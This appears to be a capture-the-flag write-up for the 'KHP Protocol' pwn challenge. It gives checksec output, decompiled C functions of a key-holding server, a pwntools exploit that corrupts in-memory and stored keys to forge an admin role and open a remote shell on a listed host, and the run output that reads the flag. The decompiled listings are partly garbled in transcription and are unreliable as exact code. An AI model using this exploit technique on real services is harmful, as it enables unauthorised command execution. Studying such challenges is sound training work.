KHP Protocol

1) Checked security

```
(vigneswar® VigneswarPC)-[~/Pwn/KHP Protocol/pwn_khp_protocol/challenge]
$ checksec khp_server
[*] '/home/vigneswar/Pwn/KHP Protocol/pwn_khp_protocol/challenge/khp_server'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
```

2) Checked decompiled code

Decompile: main - (khp_server) 1 2 void main(int param_1,char **param_2) 3 4 { 5 int iVarl; pthread_t local_48; 6 7 socklen_t local_3c; sockaddr local 38; 8 9 int local lc; int local 18; 10 undefined8 local_14; 11 12 int local_c; 13 setvbuf(stdout,(char *)0x0,2,0); 14 15 setvbuf(stdin,(char *)0x0,2,0); Log("Starting keys holder protocol server...."); 16 17 local 14 = 0x30383038;while(true) { 18 local_18 = getopt(param_1,param_2,"p:h"); 19 if (local 18 == -1) break; 20 21 if (local 18 == 0x68) { 22 ShowHelp(); 23 } 24 else if (local 18 == 0x70) { 25 strncpy((char *)&local 14,optarg,8); } 26 27 else { 28 ShowHelp(); 29 } } 30 31 local 3c = 0x10;local c = socket(2,1,0);32 if (local_c == 0) { 33 Log("Socket creation failed"); 34 35 /* WARNING: Subroutine does not return */ 36 exit(1); } 37 38 local 18 = 1; 39 iVar1 = setsockopt(local c,1,2,&local 18,4); 40 if (iVarl != 0) { 41 Log("Setting socket options failed"); 42 /* WARNING: Subroutine does not return */ 43 exit(1); 44 } 45 local 38.sa family = 2;46 local 38.sa data[2] = '\0'; local 38.sa data[3] = '\0'; 47 local_38.sa_data[4] = '\0'; 48 local 38.sa data[5] = '\0'; 49

iVarl = atoi((char *)&local 14);

50

```
51
    local_38.sa_data._0_2_ = htons((uint16_t)iVar1);
52
    iVarl = bind(local_c,&local_38,0x10);
53
    if (iVarl < 0) {
54
       Log("Bind failed, check if the port is in use");
                       /* WARNING: Subroutine does not return */
55
56
       exit(1);
57
    }
58
    iVarl = listen(local c,10);
    if (iVarl < 0) {
59
      Log("Listen failed");
60
61
                       /* WARNING: Subroutine does not return */
62
       exit(1);
    }
63
64
    Log("Listening on port -> %s", &local_14);
65
66
       local 1c = accept(local c,&local 38,&local 3c);
       if (local 1c < 0) {
67
68
        Log("Accept failed");
       }
69
70
       Log("New client connected.");
       iVar1 = pthread_create(&local_48, (pthread_attr_t *)0x0, StartService, &local_1c);
71
       if (iVarl != 0) {
72
73
         Log("Can\'t start new thread.");
74
       }
75
       pthread_detach(local_48);
    } while( true );
76
77 }
78
```

```
Decompile: StartService - (khp_server)
LЗ
           wnite( true ) {
14
             while( true ) {
15
               while( true ) {
16
                 while( true ) {
17
                   while( true ) {
18
                      while( true ) {
                        while( true ) {
19
20
                          memset(local_108,0,0x100);
21
                          Read(local_108);
22
                          iVarl = strncmp(local 108, "HELP", 4);
23
                          if (iVarl != 0) break;
24
                          SendHelp();
25
26
                        iVarl = strncmp(local 108, "REKE", 4);
27
                        if (iVarl != 0) break;
28
                        RegisterNewKey(local 108);
29
30
                      iVar1 = strncmp(local_108, "DEKE", 4);
31
                      if (iVarl != 0) break;
                      DeleteKey(local_108);
32
33
34
                   iVar1 = strncmp(local_108, "DDKE", 4);
35
                   if (iVarl != 0) break;
36
                   DeleteKeyFromDB(local_108);
37
38
                 iVar1 = strncmp(local 108, "SAVE", 4);
39
                 if (iVarl != 0) break;
40
                 SaveKey(local_108);
41
42
               iVarl = strncmp(local_108, "AUTH", 4);
               if (iVarl != 0) break;
43
44
               Auth(local_108);
45
             }
46
             iVarl = strncmp(local_108, "GTPR", 4);
47
             if (iVarl != 0) break;
48
             GetCurrentProfile();
49
50
           iVar1 = strncmp(local_108, "RLDB", 4);
51
           if (iVarl != 0) break;
52
           ReLoadDB();
53
54
         iVar1 = strncmp(local 108, "EXEC", 4);
55
         if (iVarl != 0) break;
         GetAShell();
56
57
58
       iVarl = strncmp(local_108, "EXIT", 4);
       if (iVarl == 0) break;
59
       Send("Unknown command.\n");
60
61
    }
62
    close(cli);
```

```
Decompile: SendHelp - (khp server)
2 void SendHelp(void)
3
4 {
5
    Send (
6
         "\nHello in Keys Holding Protocol Server. \nAvailable Commands: \n\tREKE: Register new user:ke
        y. \n\tDEKE: Delete key, usage: DEKE ID (e.g DEKE 5) \n\tDDKE: Delete key from database, usage
         : DDKE ID (e.g DDKE 5) \n\tSAVE: To save a key, usage: SAVE ID (e.g SAVE 5) \n\tAUTH: Authenti
         cate with rgistered user:key, usage: AUTH ID (e.g AUTH 5) \n\tGTPR: Get current profile. \n\tR
         LDB: Reload the database. \n\tEXEC: Open a shell. (Only for Admins). \n\tHELP: To show this me
         ssage. \n\tEXIT: To exit. \n"
7
         );
8
    return:
9 }
10
```

Decompile: RegisterNewKey - (khp_server) 2 void RegisterNewKey(char *param 1) 3 4 { 5 long lVar1; 6 int iVar2; 7 char *pcVar3; char *pcVar4; 8 9 char *pcVar5; 10 void *pvVar6; size_t sVar7; 11 12 13 strtok(param 1, " "); 14 pcVar3 = strtok((char *)0x0,":"); 15 pcVar4 = strtok((char *)0x0," "); 16 pcVar5 = strtok((char *)0x0,";"); 17 iVar2 = GetFreeId(); AVAIL ID = iVar2; 18 19 if (iVar2 == 0) { Send("No more available keys, please delete one or get an enterprise version.\n"); 20 21 } 22 else { 23 pvVar6 = malloc(0x54);24 *(void **)(IN MEM KEYS + (long)iVar2 * 8) = pvVar6; 25 malloc_usable_size(*(undefined8 *)(IN_MEM_KEYS + (long)AVAIL_ID * 8)); 26 sprintf(*(char **)(IN_MEM_KEYS + (long)AVAIL_ID * 8),"%s:%s %s;",pcVar3,pcVar4,pcVar5); 27 lVarl = *(long *)(IN_MEM_KEYS + (long)AVAIL_ID * 8); 28 sVar7 = strlen(*(char **)(IN_MEM_KEYS + (long)AVAIL_ID * 8)); 29 *(undefined *)(sVar7 + lVar1) = 0; 30 Log("New user registered -> %s",pcVar3); 31 Log("New key registered with the id -> %d",AVAIL_ID); 32 Send("Registered: ID->%d\n",AVAIL_ID); } 33 34 return; 35 }

36

Decompile: DeleteKey - (khp_server)

```
1
2 void DeleteKey(char *param 1)
3
 4 {
5
    int iVarl;
6
    char *__nptr;
7
    strtok(param_1," ");
8
    nptr = strtok((char *)0x0,"");
9
    iVarl = atoi(__nptr);
10
    if (*(long *)(IN MEM KEYS + (long)iVarl * 8) == 0) {
11
      Send("No key to delete. \n");
12
13
    }
14
    else {
      free(*(void **)(IN MEM_KEYS + (long)iVarl * 8));
15
      *(undefined8 *)(IN MEM KEYS + (long)iVarl * 8) = 0;
16
      Send("Key deleted successfuly. \n");
17
      Log("Key deleted -> %d",iVarl);
18
19
    }
20
    return:
21 }
22
```

```
Decompile: DeleteKeyFromDB - (khp_server)
 3
4 {
 5
    int iVarl;
 6
    int fd;
 7
    char *pcVar2;
8
    size_t sVar3;
9
    size t sVar4;
10
    ssize_t sVar5;
11
12
    strtok(param_1," ");
13
    pcVar2 = strtok((char *)0x0,"");
    if (pcVar2 == (char *)0x0) {
15
       Send("Id must be between 1 - 10. \n");
    }
16
17
    else {
18
      iVarl = atoi(pcVar2);
19
      if (*(long *)(IN_MEM_KEYS + (long)iVarl * 8) == 0) {
20
         Send("No key to delete. \n");
21
      }
      else {
22
23
         if (KEYS_BUF == (char *)0x0) {
24
           LoadKeysDB();
25
26
         pcVar2 = strstr(KEYS_BUF,*(char **)(IN_MEM_KEYS + (long)iVarl * 8));
27
         if (pcVar2 == (char *)0x0) {
           Send("Key doesn\'t exist in the database. \n");
28
29
         }
30
         else {
           sVar3 = strlen(*(char **)(IN_MEM_KEYS + (long)iVar1 * 8));
31
32
           sVar4 = strlen(pcVar2 + sVar3 + 1);
33
           memmove(pcVar2,pcVar2 + sVar3 + 1,sVar4 + 1);
             fd = open(KEYS_DB_FILE,0x201);
34
           if ( fd == -1) {
35
             Log("Failed to open the keys file");
36
37
             Send("Error.");
           }
38
           else {
39
40
             sVar3 = strlen(KEYS_BUF);
41
             sVar5 = write( fd, KEYS BUF, sVar3);
             write(__fd,&DAT_001041cf,1);
42
43
             if ((int)sVar5 == -1) {
44
               Log("Error writing to the file");
45
               Send("Error.");
46
               close( fd);
             }
47
             else {
48
               Send("Deleted. \n");
49
50
               Log("Key deleted from database-> %d",iVarl);
51
               close(__fd);
52
             }
53
           }
```

```
Decompile: SaveKey - (khp_server)
     char *pcVar3;
     size_t __n;
 8
9
     ssize_t sVar4;
10
11
     strtok(param_1," ");
12
     pcVar3 = strtok((char *)0x0,"");
     if (pcVar3 == (char *)0x0) {
13
14
       Send("Id must be between 1 - 10. \n");
15
16
     else {
17
       iVarl = atoi(pcVar3);
18
       if ((-1 < iVarl) && (iVarl < 0xb)) {
19
         if (*(long *)(IN_MEM_KEYS + (long)iVarl * 8) == 0) {
20
           Send("There is no key with the id -> %d \n",iVarl);
         }
21
22
         else {
23
           pcVar3 = strstr(*(char **)(IN MEM KEYS + (long)iVarl * 8),"admin");
24
           if (pcVar3 == (char *)0x0) {
25
             iVar2 = CheckIfKeyExist(iVarl);
26
             if (iVar2 == 0) {
27
               iVar2 = open(KEYS DB FILE, 0x401);
28
               if (iVar2 == -1) {
29
                 Log("Failed to open the keys file");
30
                 Send("Error.");
               }
31
32
               else {
33
                  _n = strlen(*(char **)(IN_MEM_KEYS + (long)iVarl * 8));
34
                 sVar4 = write(iVar2,*(void **)(IN MEM KEYS + (long)iVar1 * 8), n);
35
                 write(iVar2,&DAT_001041cf,1);
36
                 if ((int)sVar4 == -1) {
37
                   Log("Error writing to the file");
38
                    Send("Error.");
39
                   close(iVar2);
                 }
40
41
                 else {
42
                   Send("Saved \n");
43
                   close(iVar2);
44
                 }
               }
45
46
             }
47
             else {
               Send("Key already exist in the database. \n");
48
49
50
           }
51
           else {
52
             Send("You can\'t save keys with admin role from here.\n");
53
           }
54
         }
55
       }
     }
57
     return:
```

Decompile: Auth - (khp_server) 1 2 void Auth(char *param_1) 3 4 { 5 int iVarl; 6 char *__nptr; size_t __n; 7 8 char local_a8 [136]; 9 char *local 20; 10 int local_14; char *local_10; 11 12 13 local_10 = strtok(param_1," "); nptr = strtok((char *)0x0,""); 14 15 local 14 = atoi(nptr); if ((local_14 < 0) || (10 < local_14)) { 16 17 Send("Id should be between 1-10 only.\n"); 18 19 else if $(*(long *)(IN MEM KEYS + (long)local 14 * 8) == 0) {$ 20 Send("There is no key with the id -> %d \n",local_14); 21 } 22 else { iVar1 = CheckIfKeyExist(local_14); 23 24 if (iVarl == 0) { 25 Send("Key should be exist in the database to use it for authentication. \n"); 26 27 else { 28 n = strlen(*(char **)(IN MEM KEYS + (long)local 14 * 8)); 29 strncpy(local_a8,*(char **)(IN_MEM_KEYS + (long)local_14 * 8),__n); 30 CURRENT_USER = strtok(local_a8,":"); local_20 = CURRENT_USER; 31 32 CURRENT_ROLE = strtok((char *)0x0," "); 33 CURRENT_PROFILE = *(undefined8 *)(IN_MEM_KEYS + (long)local_14 * 8); 34 local 20 = CURRENT ROLE; 35 Send("Authenticated with id -> %d \nUser: %s:%s \n",local_14,CURRENT_USER,CURRENT_ROLE); 36 37 } 38 return: 39 } 40

Decompile: GetCurrentProfile - (khp_server) 1 2 void GetCurrentProfile(void) 3 4 { 5 char local_88 [128]; 6 7 if (CURRENT_PROFILE == (char *)0x0) { Send("You need to be authenticated. \n"); 8 9 } else { 10 11 strncpy(local_88,CURRENT_PROFILE,0x54); Send("Profile: %s \n", local 88); 12 13 14 return: 15 } 16

😋 Decompile: ReLoadDB - (khp_server)

```
1
2 void ReLoadDB(void)
 3
 4 {
 5
     int iVarl;
 6
 7
    if (KEYS_BUF != (void *)0x0) {
 8
       free(KEYS BUF);
9
     }
    iVarl = LoadKeysDB();
10
    if (iVarl == 0) {
11
       Send("DB can\'t be reloaded. \n");
12
     }
13
14
     else {
       Send("DB reloaded successfuly.\n");
15
16
     }
17
     return;
18 }
19
```

Decompile: GetAShell - (khp_server)

```
1
 2 void GetAShell(void)
3
 4 {
 5
    int iVarl;
 6
 7
    if (CURRENT_PROFILE == 0) {
      Send("You need to be authenticated. \n");
 8
9
10
    else {
11
      iVarl = strcmp(CURRENT_ROLE, "admin");
12
      if (iVarl == 0) {
13
         Send("You can run commands now.\n$ ");
         dup2(cli,0);
14
15
         dup2(cli,1);
         dup2(cli,2);
16
        execlp("/bin/sh","/bin/sh",0);
17
18
19
      else {
20
         Send("You need to be authenticated as admin to run this command \n");
21
22
    }
23
    return:
24 }
25
```

Decompile: LoadKeysDB - (khp_server) 1 2 undefined8 LoadKeysDB(void) 3 4 { 5 int iVarl; undefined8 uVar2; 6 stat local b8; 7 size t local 20; 8 size t local 18; 9 int local_c; 10 11 12 local_c = open(KEYS_DB_FILE,0); if (local c == -1) { 13 14 Log("Failed to open the keys file"); 15 uVar2 = 0;16 } 17 else { 18 iVarl = fstat(local_c,&local_b8); 19 if (iVarl == -1) { 20 Log("Error getting file information"); 21 close(local c); 22 uVar2 = 0;23 } 24 else { 25 local 18 = local b8.st size; 26 KEYS BUF = malloc(local b8.st size + 1); if (KEYS BUF == (void *)0x0) { 27 28 Log("Failed to allocate memory"); 29 close(local c); 30 uVar2 = 0;} 31 32 else { local_20 = read(local_c, KEYS_BUF, local_18); 33 34 if (local_20 == local_18) { 35 *(undefined *)(local_18 + (long)KEYS_BUF) = 0; close(local c); 36 Log("Database loaded successfuly"); 37 uVar2 = 1;38 39 } 40 else { 41 Log("Failed to read the file"); 42 free(KEYS BUF); 43 close(local c); uVar2 = 0;44 45 } } 46 47 } 48 49 return uVar2; 50 } E1

2) Exploit:

```
#!/usr/bin/env python3
from pwn import *
context(os='linux', arch='amd64', log level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./khp server patched")
libc = ELF("libc.so.6")
1d = ELF("./1d-2.35.so")
context.binary = exe
#b* RegisterNewKey+197\nc
# gdbio = gdb.debug(exe.path, 'c', api=True)
\# sleep(1)
\# io = remote("127.0.0.1", 8080)
io = remote("94.237.57.130", 51096)
def register key(name, role, key):
    io.send(f"REKE {name}:{role} {key};".encode())
    res = io.recvline().decode()
    print(res)
    sleep(2)
    return int(res.rsplit("->")[-1])
def delete key(id):
    io.sendline(f"DEKE {id}".encode())
    print(io.recvline().decode())
def delete key db(id):
    io.sendline(f"DDKE {id}".encode())
    print(io.recvline().decode())
def save key(id):
    io.sendline(f"SAVE {id}".encode())
    print(io.recvline().decode())
def auth(id):
    io.sendline(f"AUTH {id}".encode())
    print(io.recvline().decode())
def reload db():
    io.sendline("RLDB".encode())
    print(io.recvline().decode())
def shell():
    io.sendline("EXEC".encode())
def current profile():
    io.sendline("GTPR".encode())
    print(io.recvline().decode())
def exit():
    io.sendline("EXIT".encode())
    print(io.recvline().decode())
```

```
# write admin user into file
a_1 = register_key("master", "admiX:XXX;nn", "password")
save_key(a_1)
b_1 = register_key("test", "test", "test")
c_1 = register_key("X", "X", "X")
delete_key(b_1)
b_2 = register_key("aaaaaaa", "bbbbbbb", "c"*0x50+"X:XXX")
reload_db()
delete_key_db(c_1)
reload_db()
c_2 = register_key("master", "admin", "password")
auth(c_2)
shell()
io.interactive()
```

3) Flag

```
-(vigneswar® VigneswarPC)-[~/Pwn/KHP Protocol/pwn_khp_protocol/challenge]
__$ python3 solve.py
Registered: ID->1
Saved
Registered: ID->2
Registered: ID->3
Key deleted successfuly.
Registered: ID->2
DB reloaded successfuly.
Deleted.
DB reloaded successfuly.
Registered: ID->4
Authenticated with id -> 4
User: master:admin
You can run commands now.
$ $ ls
Makefile
flag.txt
khp_func.h
khp_server
khp_server.c
users.keys
$ cat flag.txt
HTB{4_0_D4Y_70_H4CK_7H3_W0RLD}
```